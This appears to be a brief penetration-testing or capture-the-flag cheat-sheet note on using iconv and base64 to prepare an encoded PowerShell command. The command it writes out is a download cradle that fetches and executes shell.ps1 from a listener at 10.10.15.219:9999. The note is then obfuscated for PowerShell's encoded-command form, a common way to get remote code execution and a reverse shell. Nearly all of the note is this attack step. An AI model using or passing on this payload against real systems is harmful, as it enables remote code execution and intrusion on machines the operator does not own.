iconv

Setup your command file:

echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.15.219:9999/shell.ps1")' >> command.txt

Remember, powershell expects UTF-16LE, whereas Linux produces UTF8

iconv -f utf-8 -t utf-16le command.txt > conv.txt

Then base64 encode it

cat conv.txt | base64 -w0